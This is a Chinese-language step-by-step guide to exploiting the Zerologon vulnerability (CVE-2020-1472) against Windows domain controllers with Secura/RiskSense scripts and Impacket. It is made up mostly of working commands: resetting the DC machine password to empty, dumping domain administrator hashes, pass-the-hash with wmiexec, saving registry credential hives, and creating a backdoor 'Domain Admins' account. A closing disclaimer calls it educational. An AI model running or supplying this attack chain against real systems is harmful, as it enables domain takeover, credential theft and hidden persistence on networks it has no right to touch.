zerologon

zerologon 脚本，用于利用 CVE-2020-1472，CVSS 评分 10/10 漏洞利用代码基于 https://www.secura.com/blog/zero-logon 和 https://github.com/SecuraBV/CVE-2020-1472。原始研究和扫描工具由 Secura 提供，修改工作由 RiskSense Inc. 完成。 https://github.com/risksense/zerologon

要利用该漏洞，请先清除之前安装的任何 Impacket，并从 https://github.com/SecureAuthCorp/impacket/commit/b867b21 或更新版本安装 Impacket。

apt update

apt remove --purge impacket-scripts python3-impacket apt autoremove

git clone https://github.com/rthalley/dnspython.git sudo python3 setup.py install cd .. git clone https://github.com/SecureAuthCorp/impacket.git cd impacket sudo python3 setup.py install git clone

然后，执行：

python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR

如果成功，你将能够：

sudo secretsdump.py -just-dc domain/hostname\$@ip

在密码提示符处按“Enter”即可通过， 这将获取域管理员哈希。获取哈希后，使用 wmiexec.py 连接目标 DC，并使用从 secretsdump 中得到的凭据

wmiexec.py domain/Administrator@ip -hashes hash

并执行

reg save HKLM\SYSTEM system.save
get system.save
del /f system.save

reg save HKLM\SAM sam.save
get sam.save
del /f sam.save

reg save HKLM\SECURITY security.save
get security.save
del /f security.save

然后，为了以防万一，你可以创建一个新管理员账户，

net user myadmin Hello1234 /ADD /DOMAIN

并将新账户添加到域管理员组，以获得完整权限，

net group "Domain Admins" myadmin /ADD /DOMAIN

然后可能从 C:> 执行 exit

接着你可以运行

sudo secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

这将显示机器账户的原始 NT 哈希。然后你可以通过以下命令将原始机器账户哈希重新安装到域中

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

重新安装原始哈希对于 DC 继续正常运行是必要的。

为了确认恢复过程是否成功，

sudo secretsdump.py -just-dc domain/hostname\$@ip

此时在密码提示符处按“Enter”将不再有效。

到这里就完成了。

祝你狩猎愉快。

免责声明：本文仅供教育目的，我不会对任何行为或其后果负责。 入侵他人设备是非法的，并将受到法律制裁。